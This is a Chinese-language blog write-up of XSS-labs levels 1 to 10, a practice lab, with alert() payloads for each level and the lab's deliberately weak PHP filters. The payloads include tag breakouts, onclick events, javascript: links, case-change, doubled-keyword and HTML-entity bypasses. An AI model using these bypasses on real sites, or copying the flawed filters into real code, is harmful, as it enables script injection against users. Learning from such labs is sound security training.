XSS-labs Less 1-10

Level 1 无过滤

image-20220712093406049.png

name后的会显示在页面上,属于注入点:

<script>alert()</script>

image-20220712095935098.png

Level 2 闭合标签

页面中有输入框,尝试第一关的注入

image-20220712100124056.png

可以看到图中的value值即为输入框中的值,可以考虑闭合input标签

"><script>alert()</script>

image-20220712100232879.png

或者使用onclick

" onclick=alert() "

image-20220712105430707.png

Level 3 单引号闭合+事件

输入最简单的alert,ctrl+U发现value中大小于号被转换为html语言

image-20220712111657933.png

换成onclick,发现单引号也被转换了,这里去看下php代码

image-20220712112836504.png

使用到了一个叫htmlspecialchars的php函数,作用是将特殊字符转换成HTML实体(转义)

image-20220712112947088.png

所以要想办法不使用这些特殊字符

发现使用单引号+事件可以避开

image-20220712113628265.png

仔细看了php函数解释:

htmlspecialchars(
    string $string,
    int $flags = ENT_COMPAT | ENT_HTML401,
    string $encoding = ini_get("default_charset"),
    bool $double_encode = true
): string

发现默认是只转换双引号而未转换单引号,为注入提供了便利

image-20220712114015337.png

Less 4 双引号闭合+事件

输入最简单的alert,发现大小于号被过滤

image-20220712134949428.png

输入onclick,成功跳出弹窗

image-20220712135131554.png

Level 5 新建标签

image-20220712135356757.png

第一个scipt被加上了下划线(继续测试发现是<script>这个标签会被加上下划线,</script>不会

使用onclick发现on中间被加上下划线

image-20220712135642666.png

根据提示使用a标签来跳转新页面,双引号闭合value,大于号闭合input标签

"><a href=javascript:alert()>xss</a>

image-20220712140402746.png

点击链接即可进入下一关

Less 6 大小写绕过

尝试上一关的法发现href被加上下划线

image-20220712154853541.png

类似尝试发现script、onclick等都被加上下划线

使用大小写可以绕过:

" ONclick=alert() "

image-20220712155017334.png

点击一下输入框即可进入下一关

源码中的过滤方式(网上说data字段是可以通过image注入)

image-20220712165128855.png

Less 7 双写绕过

尝试alert,发现script整个词被过滤(大小写均被过滤)

image-20220712164945570.png

尝试onclick,on被删除(大小写一样)

image-20220712200401811.png

尝试新标签页法,href和script被过滤,

image-20220712202449215.png

既然过滤script,那就用双写

"><scriscriptpt>alert()</sscriptcript>

image-20220712202801834.png

绕过成功!来分析下源码

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]); // 全部转为小写,无法大小写绕过
$str2=str_replace("script","",$str); // 删除script,无法插入js代码
$str3=str_replace("on","",$str2);     // 删除on,无法使用onclick、onfucus等js事件
$str4=str_replace("src","",$str3);     // 和data一样,是防止img注入alert信息
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);     // 删除href,无法新标签页绕过
// 当然以上这些都可以双写实现绕过
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

Less 8 编码绕过

尝试基本的alert,如图可知script被加了下划线(onclick也是),同时绕过点在于a标签的href中

image-20220712204242124.png

由链接联想到新标签页法,使用HTML编码,javascript是在ri之间插入下划线,将ri转换为10进制类型的编码:&#

补充

HTML实体编码:主要分为10进制和16进制,格式为 &# 开头以分号结尾,火狐/谷歌/IE都支持,进行html十、十六进制编码(找到了个在线的:https://www.toolzl.com/tools/htmlende.html https://www.qqxiuzi.cn/bianma/zifushiti.php,回头自己写个能转换为10或16进制的脚本)

javascript:alert()

image-20220712205817331.png

分析源码:

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);    // 无法大小写绕过
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);    // 添加下划线无法使用双写绕过
$str7=str_replace('"','&quot',$str6);    // 这里很重要,使用双引号会被HTML编码而无法闭合href
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>

Less 9 检测关键词

这一关同上一关可以对a标签做手脚,不过无法直接进行拼接,显示:<u>您的链接不合法?有没有!</u>(大小写,双写,编码均无法绕过)

image-20220712210432500.png

这关不看源码很难猜测出(当然检测的关键词很明显):在第八关基础上加入对过滤完的输入是否含有 http:// 的检测,不存在无法拼接

<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

知道了就很好办了,在alert中加上'http://'即可

javascript:alert('http://'')

image-20220712211426221.png

Less 10 隐藏信息

查看html源码发现有个表单输入区被隐藏

image-20220712211637948.png

尝试修改掉hidden,并把最后一个改成submit键,随便输

image-20220712211809656.png

结果:URL栏中有了新的get变量

image-20220712211838682.png

把最后一个t_sort也加上值为a,发现表单区出现了value值,存在绕过点

image-20220712212012248.png

所以修改t_sort的值为" onclick=alert() ",同时去掉第三个input的hidden使得可以点击输入框来跳转

image-20220712212200840.png

这里直接用的较简单的onclick,查看源码可知大小于号被过滤,<script>标签无法使用

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
最后修改:2022 年 07 月 12 日
如果觉得我的文章对你有用,请随意赞赏